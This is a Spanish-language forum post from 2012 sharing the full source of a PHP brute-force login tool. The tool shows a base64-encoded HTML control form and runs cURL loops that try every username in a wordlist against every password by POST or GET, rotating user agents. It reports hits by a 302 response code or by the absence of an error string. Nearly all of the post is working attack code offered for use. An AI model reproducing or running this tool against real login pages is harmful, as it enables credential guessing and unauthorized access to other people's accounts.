Brute Force Attack PHP by Michb
Publicado: 04 Ene 2012, 16:46

requisitos:
recuerden tener el curl activado en el php.ini
características:
prueba usuario a usuario con todas las passwords posibles
puedes definir si detectar errores al loggearse de 2 modos
métodos de envio de datos POST y GET
librería cURL
pueden descargar un ejemplo con los siguientes archivos aqui:
loger.php
usuarios.txt
password.txt
user-agent.txt
EjemploGET.php
EjemploPOST.php
[Enlace externo eliminado para invitados]
Codigo del loger.php
Código: Seleccionar todo
<?php
/******************************\
****** * * * * RM * * * * ******
***** * Desarrollado por * *****
***** * * MichBukana * * * *****
***** * * * 04/01/12 * * * *****
******* * * * * * * * * * ******
\******************************/
/**--------------------------**\
/**code-disaster.blogspot.com**/
/**+++ indetectables.net ++++**/
/**++++++ udtools.net +++++++**/
/**--------------------------**\
/*[email protected]*/
/**__________________________**\
/******************************/
error_reporting(0);
echo base64_decode('PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRl
eHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPC9oZWFkPgo8c3R5bGU+CmJvZHl7Y29sb3I6Z3Jl
ZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9Cmgxe2NvbG9yOnJlZDt9Cjwvc3R5bGU+CgoKCiAg
ICA8c2NyaXB0PgogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8xKCl7CiAgICAgICAgYyA9IGRvY3Vt
ZW50LmdldEVsZW1lbnRCeUlkKCJNZXRvZG8iKTsKICAgICAgICBpZihjWzBdLnNlbGVjdGVkPT10
cnVlKXsKICAgICAgICAgICAgZm9ybXUuY2FtcG8xLmRpc2FibGVkPXRydWU7Zm9ybXUuY2FtcG8y
LmRpc2FibGVkPXRydWU7ICAgICAgICAgICAgCiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIGZv
cm11LmNhbXBvMi5kaXNhYmxlZD1mYWxzZTtmb3JtdS5jYW1wbzEuZGlzYWJsZWQ9ZmFsc2U7CiAg
ICAgICAgfQogICAgfQogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8yKCl7CiAgICAgICAgYyA9IGRv
Y3VtZW50LmdldEVsZW1lbnRCeUlkKCJNb2RvIik7CiAgICAgICAgaWYoY1swXS5zZWxlY3RlZD09
dHJ1ZSl7CiAgICAgICAgICAgIGZvcm11LkJhZF9TLmRpc2FibGVkPXRydWU7Zm9ybXUuQ29kZV9S
LmRpc2FibGVkPWZhbHNlOyAgICAgICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgICAgICBm
b3JtdS5CYWRfUy5kaXNhYmxlZD1mYWxzZTtmb3JtdS5Db2RlX1IuZGlzYWJsZWQ9dHJ1ZTsKICAg
ICAgICB9CiAgICB9CgogICAgPC9zY3JpcHQ+CjxjZW50ZXI+CjxiciAvPjxoMT5CcnV0ZSBmb3Jj
ZSBBdHRhY2s8L2gxPjxiciAvPjxiciAvPgoKPGZvcm0gbmFtZT1mb3JtdSBtZXRob2Q9IlBPU1Qi
IGFjdGlvbj0iIj4KICAgIAogICAgICAgIFVSTCBkZWwgbG9naW4gZG9uZGUgc2UgdmEgYSBhdGFj
YXI8YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXJsX2xvZyB2YWx1ZT0naHR0
cDovL2xvY2FsaG9zdDo4ODg4L2Rlc2Fycm9sbGFuZG8vYnJ1dGVfZm9yY2UvRWplbXBsb1BPU1Qu
cGhwJyBzaXplPTgwPjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgTel0b2RvIGRlIGVudmlvIGRlIGRh
dG9zIEhUVFAKICAgICAgICA8c2VsZWN0IGlkPSdNZXRvZG8nIG5hbWU9TWV0b2RvIG9uY2hhbmdl
PSJjYW1iaW8xKCkiPgogICAgICAgICAgICA8b3B0aW9uPlBPU1Q8L29wdGlvbj4KICAgICAgICAg
ICAgPG9wdGlvbj5HRVQ8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD48YnIgLz4KICAgICAgICA8
aHIgd2lkdGg9Ijc1JSIgLz4KICAgICAgICBNb2RvIGRlIGNhcHRhY2lvbiBkZSBlcnJvcmVzCiAg
ICAgICAgPHNlbGVjdCBpZD0nTW9kbycgbmFtZT1Nb2RvIG9uY2hhbmdlPSJjYW1iaW8yKCkiPgog
ICAgICAgICAgICA8b3B0aW9uID4xPC9vcHRpb24+CiAgICAgICAgICAgIDxvcHRpb24gPjI8L29w
dGlvbj4KICAgICAgICA8L3NlbGVjdD48YnIgLz4KICAgICAgICBNb2RvIDE6IENvZGlnbyBkZSBy
ZXNwdWVzdGEKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Q29kZV9SIHZhbHVlPTMwMiBz
aXplPTE+PC9pbnB1dD48YnIgLz4KICAgICAgICBNb2RvIDI6IHBhcnRlIGRlIGxhIHN0cmluZyBk
ZXZ1ZWx0YSBlbiBjYXNvIGRlIGVycm9yCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBuYW1lPUJh
ZF9TIGRpc2FibGVkPWRpc2FibGVkIHZhbHVlPWluY29ycmVjdG9zPjwvaW5wdXQ+PGJyIC8+CiAg
ICAgICAgPGhyIHdpZHRoPSI3NSUiIC8+CiAgICAgICAgQXJjaGl2byBkZSB1c3VhcmlvcyBleHRy
YWlkb3MKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YXJjaGl2b1UgdmFsdWU9dXN1YXJp
b3MudHh0PjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgQXJjaGl2byBkZSBwYXNzd29yZHMgZXh0cmFp
ZGFzCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBuYW1lPWFyY2hpdm9QIHZhbHVlPXBhc3N3b3Jk
LnR4dD48L2lucHV0PjxiciAvPgogICAgICAgIDxociB3aWR0aD0iNzUlIiAvPgogICAgICAgIG5v
bWJyZSBkZSBsYSB2YXJpYWJsZSBkZWwgZW52aW8gZGVsIHVzdWFyaW8gImxvZ2luLnBocD8ndXN1
YXJpbyc9eHh4IgogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1jYW1wbzEgZGlzYWJsZWQ9
ZGlzYWJsZWQgdmFsdWU9J3VzdWFyaW8nPjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgbm9tYnJlIGRl
IGxhIHZhcmlhYmxlIGRlbCBlbnZpbyBkZSBsYSBwYXNzd29yZCAibG9naW4ucGhwPydwYXNzd29y
ZCc9eHh4IgogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1jYW1wbzIgZGlzYWJsZWQ9ZGlz
YWJsZWQgdmFsdWU9J3Bhc3N3b3JkJz48L2lucHV0PjxiciAvPjxiciAvPgogICAgICAgIDxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nICAgICAgTGFuemFyICAgICAgJzwvaW5wdXQ+CjwvZm9ybT4K');
//mode 1: comprobar user y pass que sean correctas a partir del código de respuesta
//Code_Responde: codigo de respuesta en caso correcto
//mode 2: comporbar user y pass que sean correctas a partir de una parte de la string devuelta en caso de error.
//Ejemplo: "datos introducidos incorrectos" pues por ejemplo "incorrectos"
//Bad_String: la string de la que se habla en el mode 2
//metodo: POST o GET
//campos1 y 2: son los campos que se envian estos hay que definirlos en caso de que se envie el formulario via GET
/*---------------------------------------------------------------------------------*/
$url_login = $_POST['url_log'];
$metodo = $_POST['Metodo'];
$mode = $_POST['Modo'];
$archivoUsuarios = $_POST['archivoU'];
$archivoPasswords = $_POST['archivoP'];
/*---------------------------------------------------------------------------------*/
if(strlen($mode)>0)echo "Resultado
";
if($mode==1)
$Code_Responde = $_POST['Code_R'];
if($mode==2)
$Bad_String = $_POST['Bad_S'];
if($metodo == "GET"){
$campo1 = $_POST['campo1'];
$campo2 = $_POST['campo2'];
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER,true);
curl_setopt ($ch, CURLOPT_HTTPGET, true);
$user_agent = file_get_contents('user-agent.txt');
$user = file_get_contents($archivoUsuarios);
$pass = file_get_contents($archivoPasswords);
preg_match_all('|(.*)\n|U',$user_agent,$U_A);
preg_match_all('|(.*)\n|U',$user,$usuario);
preg_match_all('|(.*)\n|U',$pass,$password);
for($i=0;$i< count($usuario[1]);$i++){
for($j=0;$j< count($password[1]);$j++){
curl_setopt($ch, CURLOPT_USERAGENT, $U_A[1][$j]);
if($metodo == "POST"){
curl_setopt ($ch, CURLOPT_POST, true);
curl_setopt ($ch, CURLOPT_POSTFIELDS, "usuario=".$usuario[1][$i]."&"."password=".$password[1][$j]);
curl_setopt($ch, CURLOPT_URL, $url_login);
}
if($metodo == "GET"){
$url_login2 = $url_login;
$url_login2=$url_login."?".$campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j];
curl_setopt($ch, CURLOPT_URL, $url_login2);
}
$result = curl_exec($ch);
//código de respuesta 302 en caso de introducir datos correctos
if($mode==1){
if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302")
echo "". $usuario[1][$i] ." & ". $password[1][$j] ." <---- Correcto
";
else
echo "". $usuario[1][$i] ." & ". $password[1][$j] ."
";
}
if($mode==2){
if(strpos($result, $Bad_String)===false )
echo "". $usuario[1][$i] ." & ". $password[1][$j] ." <---- Correcto
";
else
echo "". $usuario[1][$i] ." & ". $password[1][$j] ."
";
}
}
}
?>